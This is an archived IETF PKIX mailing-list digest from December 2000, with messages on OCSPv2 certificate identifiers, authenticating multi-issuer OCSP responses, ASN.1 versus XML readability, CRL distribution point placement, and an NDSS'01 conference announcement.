Received: from aspams52.ca.com (aspams52.cai.com [155.35.248.76])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA22874
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 05:04:00 -0800 (PST)
Received: by aspams52.ca.com with Internet Mail Service (5.5.2650.21)
	id <YNDG0KVN>; Mon, 11 Dec 2000 23:49:24 +1100
Message-ID: <6B33416BC4BBD411BCA6009027D0D18C645695@aspams01.ca.com>
From: "Grant, Alistair" <Alistair.Grant@ca.com>
To: ietf-pkix@imc.org
Cc: Michael Myers <MMyers@verisign.com>,
        Ambarish Malpani
	 <ambarish@valicert.com>,
        Simon Tardell <simon.tardell@smarttrust.com>
Subject: RE: OCSP identifiers
Date: Mon, 11 Dec 2000 23:49:24 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Hi Mike,

Would you please provide a summary of why multiple certificate identifier
formats are required in OCSPv2, overall and for each proposed identifier.
In particular using CertHash seems problematic as it forces the responder to
provide additional indexes for looking up certificates.

Without sufficient justification (which I have not yet seen), I would add my
voice to those opposing the additional identifiers (Simon Tardell, Ambarish
Malpani, etc).  

Simon Tardell's suggestion of keeping the current CertId and adding an
extension to check issuance seems like a better alternative.

As Simon has said, a zero length Issuer Key Hash removes the need for the CA
certificate.  In combination with Simon's extension the client can still be
confident that the correct certificate is being identified.

The wording for good/revoked/unknown discussion, as raised by Ambarish, does
not seem to have been closed.



Cheers,

Alistair Grant
E-Mail:		Alistair.Grant@ca.com
Phone:		+61 3 9825 5692
Mobile:		+61 408 565 080


-----Original Message-----
From: Michael Myers [mailto:MMyers@verisign.com]
Sent: Thursday, November 30, 2000 5:34 AM
To: Stephen Kent
Cc: ietf-pkix@imc.org
Subject: RE: OCSP identifiers


Steve,

It's our objective to amend RFC 2560's certID syntax while preserving all
that RFC 2560 has established.  I have always presumed this would lead to a
new RFC number.  We're doing so in order to address known needs to expand
the means by which certificates can be identified in the OCSP bit stream.
Alternatively, we could editorially amend RFC 2560 and so move it from
proposed to draft.  As briefed in Pittsburg however, many of us believe it's
best to take the former course of action.

To that end, the v2 certID syntax is amendend in a fashion that enables v1
interoperability.  Further, both OCSPv2 servers and clients are required to
be capable of backwards interoperablity with their v1 peers.  There's no
need to deprecate the use of v1 if the original certID syntax satisfies
local requirements.  It's only when environments wish to, say, use CMS's
IssuerandSerialNumber vs. original certID that use of the v2 version number
in the bit stream is required.  Other than that,  it's precisely the same
protocol, simply amended to enable its use in other contexts.

Hope that clarifies things.

Mike


From owner-ietf-pkix@imc.org  Mon Dec 11 11:17:54 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14656
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 11:17:53 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27528;
	Mon, 11 Dec 2000 08:13:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:13:09 -0800
Received: from extapps03.intra.dmz ([194.200.144.248])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA27492
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:13:07 -0800 (PST)
From: Jonathan.Tuliani@symbian.com
Received: from SymbianUK05.Symbian.com (unverified) by extapps03.intra.dmz
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0a9b023c506b6586ae@extapps03.intra.dmz> for <ietf-pkix@imc.org>;
 Mon, 11 Dec 2000 16:13:19 +0000
Received: from symbianuk20.symbian.com ([10.170.2.25])
          by SymbianUK05.Symbian.com (Lotus Domino Release 5.0.1b (Intl))
          with ESMTP id 2000121116141810:20139 ;
          Mon, 11 Dec 2000 16:14:18 +0000 
Subject: OCSP response authentication question
To: ietf-pkix@imc.org
X-Mailer: Lotus Notes Release 5.0.2c (Intl) 2 February 2000
Message-ID: <OFA1B3FB65.11253155-ON802569B2.00564D27@symbian.com>
Date: Mon, 11 Dec 2000 16:14:09 +0000
X-Priority: 3 (Normal)
MIME-Version: 1.0
X-MIMETrack: Serialize by Router on SymbianUK20/Symbian(Release 5.0.1b (Intl)|30
 September 1999) at 12/11/2000 04:14:09 PM,
	Itemize by SMTP Server on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30
 September 1999) at 11/12/2000 04:14:18 PM,
	Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30
 September 1999) at 11/12/2000 04:14:18 PM,
	Serialize complete at 11/12/2000 04:14:18 PM
Content-type: text/plain; charset=us-ascii
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Deal all,

We've been having a little trouble understanding how we should be planning
to authenticate our OCSP responses in the case where there is more than one
certificate from more than one issuer.  If anyone can help to shed some
light on this issue, we should be most grateful.  Details follow.

We're using the June 1999 edition of the OCSP spec, btw.

Suppose that a client wished to authenticate more than one certificate.
For example, suppose the client has a chain of certificates: to validate
the chain requires each certificate to be revocation checked.  It is
possible to bundle all of these certificates into a single OCSP request.
Similarly, the OCSP response should be able to give us the status for each
certificate.

Our problem arises when trying to authenticate this response.  It is
reasonable to suppose that the certificates in the request could have been
issued by a variety of different bodies.  Indeed, this is likely to be so
in the common usage scenario of validating a certificate chain.  However,
notice that the OCSP response has only a single signature.  This being the
case, there is no way we can employ rules 2 or 3 under section 4.2.2.2 of
the OCSP spec - these specify that the response be signed either directly
by the certificate issuing CA, or contain an extendedKeyUsage extension
issued directly by the issuing CA.  This leaves rule 1, that is that the
response match a locally configured trusted responder.

Now suppose additionally that the OCSP server in question is operating in
the mode described in section 4.4.6 of the spec.  That is, information is
taken from AuthorityInfoAccess extensions in the certificates to form
serviceLocator extensions, which are placed into the request as
singleRequestExtensions.  The OCSP server uses these extensions to direct
the request to other servers known to be authoritative for the certificate
in question.  In our scenario, these serviceLocator extensions will be
specifying several different authoritative servers.  We suppose then that
the original OCSP server must collate and authenticate these responses,
before compiling a single response valid for all certificates, which it
then signs and sends to the client.

We would be grateful if someone more familiar with the OCSP spec could
confirm that what I have described is indeed a valid intended usage
scenario.  In particular, we are concerned about the authentication of the
multiple responses that the OCSP server must perform before producing the
collated response.  Is it correct for the client to trust the server with
this task?

Best regards, and thanks in advance,

Jonathan
-----------------------------
Jonathan.Tuliani@Symbian.com
www.symbian.com



From owner-ietf-pkix@imc.org  Mon Dec 11 11:24:05 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16008
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 11:24:04 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27909;
	Mon, 11 Dec 2000 08:20:46 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:20:43 -0800
Received: from qmail.arl.qwestip.net (qmail.qwestip.net [205.171.7.14])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA27876
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:20:42 -0800 (PST)
Received: (qmail 21371 invoked from network); 11 Dec 2000 16:18:16 -0000
Received: from ns.klerer.net (HELO dell450nt) ([63.146.136.63]) (envelope-sender <klerer@xhair.com>)
          by mail.qwestisp.net (qmail-ldap-1.03) with SMTP
          for <ietf-pkix@imc.org>; 11 Dec 2000 16:18:16 -0000
Message-ID: <003801c0638e$c021cb80$070a0a0a@klerer.net>
From: "Robert Klerer" <klerer@xhair.com>
To: <ietf-pkix@imc.org>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility  available)
Date: Mon, 11 Dec 2000 11:23:52 -0500
Organization: Crosshair Communications Corporation
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

But this is where the argument for efficiency breaks.  The relaying party
for the PKI is often a human being not always a computer program.  Often
when my browser (or email client) asks me if I want to trust a certificate,
I have a hard time finding my trusty ASN.1 decoder ring in that limited
dialog box.  I certainly cannot trust the browser to do it, since they can
not even display the subject name in a consistent way.  If I could read the
certificate source itself, I could resolve whatever suspicion I have to the
validity of the information and let my software validate the cryptographic
validity of the signature.


From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
>
>
> Anders Rundgren wrote (in part):
>
> snip
>
> >  Using XML I would neither have had to "guess" element
> >  usage, nor use a "debugger".
>
> Really? Consider the ASN.1 value
>
>    concord INTEGER ::= 3
>
> which could be transferred directly as text or DER
> encoded into the binary value 0x020103.
>
> What does representing this value using XML mark
> up such as
>
>    <concord> 3 </concord>
>
> tell you?
>
> Do I mean a how I rate a city, a quantity of grapes,
> or that the treaty is behind door number number three?
>
> I agree of course that the mark up format may be easier
> for programmers who lack tools or reasonable skills and
> training to debug. But consider actual usage.
>
> I may debug this message for a short while during a
> program development period, then deploy the program
> and transfer this message billions of times with no
> human intervention.
>
> Why would I wish to transfer 22 bytes of information
> instead of three?
>
> What advantage does transferring 19 extra bytes give
> my application?
>
> Once deployed, will it matter to the performance of
> the program whether or not this message can be easily
> read by a human?
>
> If a client should receive a broken message from my
> program, will the users lot be improved if they can
> correct the broken message with NotePad?
>
> Phil
>



From owner-ietf-pkix@imc.org  Mon Dec 11 11:34:09 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18273
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 11:34:09 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28452;
	Mon, 11 Dec 2000 08:30:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 08:30:44 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28421
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 08:30:43 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G5E00301WN8KU@ext-mail.valicert.com> for ietf-pkix@imc.org; Mon,
 11 Dec 2000 08:33:08 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G5E002DOWN8IL@ext-mail.valicert.com>; Mon,
 11 Dec 2000 08:33:08 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <YCZ39427>; Mon, 11 Dec 2000 08:30:12 -0800
Content-return: allowed
Date: Mon, 11 Dec 2000 08:30:11 -0800
From: Ambarish Malpani <ambarish@valicert.com>
Subject: RE: OCSP response authentication question
To: "'Jonathan.Tuliani@symbian.com'" <Jonathan.Tuliani@symbian.com>,
        ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E6EBC87@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


Hi Jonathan,
    The usage that you desire is quite correct and being used by
others.

It is perfectly reasonable to trust a single server and to send it
queries for the status of multiple certificates. If the server is
appropriately configured, it can go out to find the statuses of all
the certificates you are interested in and provide you with a
consolidated response signed with a key that you trust (using direct
trust).

If multiple CAs are willing to trust a single responder to provide
responses on their behalf, it is also possible for a single
responder to have multiple OCSP signing certificates issued by
multiple CAs. In this case, it is possible for you to get a single
response, signed by a single responder, but with multiple
certificates, indicating that the responder is authorized by
multiple CAs.

There is also a third possibility, where the client just queries all
the OCSP responders directly.

Hope this helps,
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Jonathan.Tuliani@symbian.com 
> [mailto:Jonathan.Tuliani@symbian.com]
> Sent: Monday, December 11, 2000 8:14 AM
> To: ietf-pkix@imc.org
> Subject: OCSP response authentication question
> 
> 
> Deal all,
> 
> We've been having a little trouble understanding how we 
> should be planning
> to authenticate our OCSP responses in the case where there is 
> more than one
> certificate from more than one issuer.  If anyone can help to 
> shed some
> light on this issue, we should be most grateful.  Details follow.
> 
> We're using the June 1999 edition of the OCSP spec, btw.
> 
> Suppose that a client wished to authenticate more than one 
> certificate.
> For example, suppose the client has a chain of certificates: 
> to validate
> the chain requires each certificate to be revocation checked.  It is
> possible to bundle all of these certificates into a single 
> OCSP request.
> Similarly, the OCSP response should be able to give us the 
> status for each
> certificate.
> 
> Our problem arises when trying to authenticate this response.  It is
> reasonable to suppose that the certificates in the request 
> could have been
> issued by a variety of different bodies.  Indeed, this is 
> likely to be so
> in the common usage scenario of validating a certificate 
> chain.  However,
> notice that the OCSP response has only a single signature.  
> This being the
> case, there is no way we can employ rules 2 or 3 under 
> section 4.2.2.2 of
> the OCSP spec - these specify that the response be signed 
> either directly
> by the certificate issuing CA, or contain an extendedKeyUsage 
> extension
> issued directly by the issuing CA.  This leaves rule 1, that 
> is that the
> response match a locally configured trusted responder.
> 
> Now suppose additionally that the OCSP server in question is 
> operating in
> the mode described in section 4.4.6 of the spec.  That is, 
> information is
> taken from AuthorityInfoAccess extensions in the certificates to form
> serviceLocator extensions, which are placed into the request as
> singleRequestExtensions.  The OCSP server uses these 
> extensions to direct
> the request to other servers known to be authoritative for 
> the certificate
> in question.  In our scenario, these serviceLocator extensions will be
> specifying several different authoritative servers.  We 
> suppose then that
> the original OCSP server must collate and authenticate these 
> responses,
> before compiling a single response valid for all 
> certificates, which it
> then signs and sends to the client.
> 
> We would be grateful if someone more familiar with the OCSP spec could
> confirm that what I have described is indeed a valid intended usage
> scenario.  In particular, we are concerned about the 
> authentication of the
> multiple responses that the OCSP server must perform before 
> producing the
> collated response.  Is it correct for the client to trust the 
> server with
> this task?
> 
> Best regards, and thanks in advance,
> 
> Jonathan
> -----------------------------
> Jonathan.Tuliani@Symbian.com
> www.symbian.com
> 


From owner-ietf-pkix@imc.org  Mon Dec 11 12:20:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA02057
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 12:20:18 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA29812;
	Mon, 11 Dec 2000 09:16:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 09:16:30 -0800
Received: from pigeon.verisign.com (pigeon.verisign.com [208.206.241.106])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA29779
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 09:16:29 -0800 (PST)
Received: from postal-gw1.verisign.com (verisign.com [63.104.27.101])
        by pigeon.verisign.com (8.9.3/BCH1.7.1) with ESMTP id JAA02469;
        Mon, 11 Dec 2000 09:14:50 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <YMBXVTWJ>; Mon, 11 Dec 2000 09:18:59 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F4020DC0E2@vhqpostal.verisign.com>
From: Michael Myers <MMyers@verisign.com>
To: "Grant, Alistair" <Alistair.Grant@ca.com>, ietf-pkix@imc.org
Cc: Ambarish Malpani <ambarish@valicert.com>,
        Simon Tardell
	 <simon.tardell@smarttrust.com>
Subject: RE: OCSP identifiers
Date: Mon, 11 Dec 2000 09:18:58 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Alistair,

We will be talking about these issues face to face later today and
throughout this week.  Will you be in San Diego to join us?  Taking up your
question by cases though, we have:

Many wireless environments are best enabled by use of a direct cert blob via
Certificate syntax rather than performing the ASN.1 parsing, hash
computation and ASN.1 construction necessary to produce certID.

Certain other wireless environments find use of a name via GeneralName
syntax more closely aligned with their PKI deployment requirements.

In the disjoint S/MIME case, it is intutively obvious to the casual observer
that use of IssuerandSerialNumber is a far more natural choice.

Use of IssuerandSerialNumber may also benefit the classic SSL, TLS and IPSEC
use cases.

Finally, the certHash option enables a fairly compact means of producing an
identifier against any form of certificate we know of today and any that may
be produced in the future.

By the way, this proposal *enables* environments to use these identifiers.
The requirements need to be sharpened in this area to ensure at least one
SHALL for interoperability purposes.  Myself, I would propose
IssuerandSerialNumber since it seems to be the single most widely deployed
identifier in the marketplace today.  Others may feel differently.

Any opinions then on this rationale?  And have you any further opinions on
the recent proposal to extend the response spectrum to include valid,
invalid, suspended and expired?

I fully agree with Simon's observation that zero length Issuer Key Hash
removes the need for the CA
certificate.  I had first brought this approach to the WG attention at the
most recent D.C. IETF.

I'm not yet sold that an extension-based approach is in the long run offers
any benefit over the CHOICE approach.  Could you elaborate on why you
believe this to be the case?

Mike



> -----Original Message-----
> From: Grant, Alistair [mailto:Alistair.Grant@ca.com]
> Sent: Monday, December 11, 2000 4:49 AM
> To: ietf-pkix@imc.org
> Cc: Michael Myers; Ambarish Malpani; Simon Tardell
> Subject: RE: OCSP identifiers
> 
> 
> Hi Mike,
> 
> Would you please provide a summary of why multiple 
> certificate identifier
> formats are required in OCSPv2, overall and for each proposed 
> identifier.
> In particular using CertHash seems problematic as it forces 
> the responder to
> provide additional indexes for looking up certificates.
> 
> Without sufficient justification (which I have not yet seen), 
> I would add my
> voice to those opposing the additional identifiers (Simon 
> Tardell, Ambarish
> Malpani, etc).  
> 
> Simon Tardell's suggestion of keeping the current CertId and adding an
> extension to check issuance seems like a better alternative.
> 
> As Simon has said, a zero length Issuer Key Hash removes the 
> need for the CA
> certificate.  In combination with Simon's extension the 
> client can still be
> confident that the correct certificate is being identified.
> 
> The wording for good/revoked/unknown discussion, as raised by 
> Ambarish, does
> not seem to have been closed.
> 
> 
> 
> Cheers,
> 
> Alistair Grant
> E-Mail:		Alistair.Grant@ca.com
> Phone:		+61 3 9825 5692
> Mobile:		+61 408 565 080
> 


From owner-ietf-pkix@imc.org  Mon Dec 11 12:29:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04908
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 12:29:19 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA00401;
	Mon, 11 Dec 2000 09:25:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 09:25:32 -0800
Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA00371
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 09:25:31 -0800 (PST)
Received: from [192.168.1.2] ([208.233.228.110])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G5E00EOHYKQPJ@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Mon,
 11 Dec 2000 09:14:51 -0800 (PST)
Date: Mon, 11 Dec 2000 09:16:50 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility
 available)
In-reply-to: <003801c0638e$c021cb80$070a0a0a@klerer.net>
To: ietf-pkix@imc.org
Message-id: <B65A4C02.327C%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Robert Klerer wrote:

> But this is where the argument for efficiency breaks.  The relaying party
> for the PKI is often a human being not always a computer program.  Often
> when my browser (or email client) asks me if I want to trust a certificate,
> I have a hard time finding my trusty ASN.1 decoder ring in that limited
> dialog box.  I certainly cannot trust the browser to do it, since they can
> not even display the subject name in a consistent way.  If I could read the
> certificate source itself, I could resolve whatever suspicion I have to the
> validity of the information and let my software validate the cryptographic
> validity of the signature.

You may be able to "resolve whatever suspicion" you "have to the validity of
the information." But how about your grandmother? I know my grandmother will
not, whether the information is displayed in XML or some textual version of
ASN.1/BER/DER.

Regards,
Aram Perez

[snip]



From owner-ietf-pkix@imc.org  Mon Dec 11 13:37:37 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19428
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 13:37:36 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA02675;
	Mon, 11 Dec 2000 10:34:20 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 10:34:07 -0800
Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA02638
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 10:34:06 -0800 (PST)
Received: by sentry.gw.tislabs.com; id NAA14802; Mon, 11 Dec 2000 13:39:40 -0500 (EST)
Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5)
	id xma014758; Mon, 11 Dec 00 13:38:54 -0500
Received: (from balenson@localhost)
	by clipper.gw.tislabs.com (8.9.3/8.9.1) id NAA20261
	for ietf-pkix@imc.org; Mon, 11 Dec 2000 13:35:12 -0500 (EST)
Date: Mon, 11 Dec 2000 13:35:12 -0500 (EST)
From: "David M. Balenson" <balenson@tislabs.com>
Message-Id: <200012111835.NAA20261@clipper.gw.tislabs.com>
To: ietf-pkix@imc.org
Subject: ANNOUNCE: ISOC Netw. & Distr. Sys. Security Symp. (NDSS'01)
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


                   R E G I S T E R   N O W ! !

THE INTERNET SOCIETY'S
2001 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'01) 
February 8-9, 2001
Catamaran Resort Hotel, San Diego, California
General Chair:   Steve Welke, Trusted Computer Solutions
Program Chairs:  Avi Rubin, AT&T Labs - Research
                 Paul Van Oorschot, Entrust Technologies

ONLINE INFORMATION AND REGISTRATION:  http://www.isoc.org/ndss01
EARLY REGISTRATION DISCOUNT DEADLINE:  January 11, 2001

The 8th annual NDSS Symposium brings together researchers,
implementers, and users of network and distributed system security
technologies to discuss today's important security issues and
challenges.  The Symposium provides a mix of technical papers and
panel presentations that describe promising new approaches to
security problems that are practical and, to the extent possible,
have been implemented.  NDSS fosters the exchange of technical
information and encourages the Internet community to deploy available
security technologies and develop new solutions to unsolved problems.

THIS YEAR'S TOPICS INCLUDE:
* IP Traceback
* Authenticating Streamed Data
* ATM Encryption
* Source Authentication for Multicast
* Distributed Certified E-Mail
* Wireless Security
* Multi-Security Domain Networks
* Authentication And Key Agreement
* Access Control Language for Security Policies
* Limiting the Disclosure of Access Control Policies
* Principles of Policy in Secure Groups
* Trust Management for IPsec
* Building Certification Paths
* Decentralized Jini Security
* Termination in Language-based Systems
* Cryptography as a Network Service
* Implementation of Kerberos Crossrealm Referral Handling
* Security Risks of Peer-to-Peer Networking

PRE-CONFERENCE TECHNICAL TUTORIALS:
* Network Security Protocol Standards, Stephen Kent
* Deployed & Emerging Security Systems for the Internet, Radia Perlman &
  Charlie Kaufman
* Building Secure Software, Gary McGraw
* Intrusion Detection, Dan Nadir
* Biometrics, Jim Wayman
* Group Security, Thomas Hardjono & Hugh Harney

SPONSORSHIP OPPORTUNITIES AVAILABLE!  Take advantage of this high
visibility event.  Contact Torryn Brazell at the Internet Society
at +1-703-326-9880 or send e-mail to brazell@isoc.org.

THE INTERNET SOCIETY is a non-governmental organization for global
cooperation and coordination for the Internet and its
internetworking technologies and applications.



From owner-ietf-pkix@imc.org  Mon Dec 11 15:57:44 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09223
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 15:57:43 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA05941;
	Mon, 11 Dec 2000 12:54:14 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 12:54:06 -0800
Received: from pdcfairfax.elock.com ([63.83.231.13])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA05891
	for <ietf-pkix@imc.org>; Mon, 11 Dec 2000 12:54:05 -0800 (PST)
Received: from ROCK207 ([63.83.231.21]) by pdcfairfax.elock.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id X6T46WQ5; Mon, 11 Dec 2000 15:52:02 -0500
Message-ID: <040701c063b4$4c261080$15e7533f@elock.com>
From: "Jayant Sane \(Exchange\)" <jayant@eLock.com>
To: "Pkix List" <ietf-pkix@imc.org>
Subject: Question about CRL DP
Date: Mon, 11 Dec 2000 15:52:25 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0404_01C0638A.5B8EDD60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0404_01C0638A.5B8EDD60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

This might be a naive question.=20

Is it allowed/std practice to put the CRLDP extension in the issuer(CA) =
cert such that the crl pointed to contains/lists revoked end-entity =
certs (issued by it).=20
I came across following certificate.=20
End-entity cert has an AIA extension pointing to its issuer cert and the =
issuer cert has both AIA, to its issuer, and CRLDP persumably pointing =
to a CRL containing end-entity certs. The specs have'nt been very clear =
on the placement of this extension (unless I am overlooking something) =
-- whether it is more appropriate to put the CRLDP in the end-entity =
cert itself as compared to the CA cert.
The one in the CA could be interpreted as one pointing to the CRL issued =
its issuer.=20

Some clarification would be greatly appreciated.

thanks,
Jayant

------=_NextPart_000_0404_01C0638A.5B8EDD60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>This might be a naive question. =
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is it allowed/std practice to put the =
CRLDP=20
extension in the issuer(CA) cert such that the crl pointed to =
contains/lists=20
revoked end-entity certs (issued by it). </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I came across following certificate. =
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End-entity cert has an AIA extension =
pointing to=20
its issuer cert and the issuer cert has both AIA, to its issuer, and =
CRLDP=20
persumably pointing to a CRL containing end-entity certs. The specs =
have'nt been=20
very clear on the placement of this extension (unless I&nbsp;am =
overlooking=20
something) -- whether it is more appropriate to put the&nbsp;CRLDP in =
the=20
end-entity cert itself as compared to the CA cert.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The one in the CA could be interpreted =
as one=20
pointing to the CRL issued its issuer. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Some clarification would be greatly=20
appreciated.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jayant</FONT></DIV></BODY></HTML>

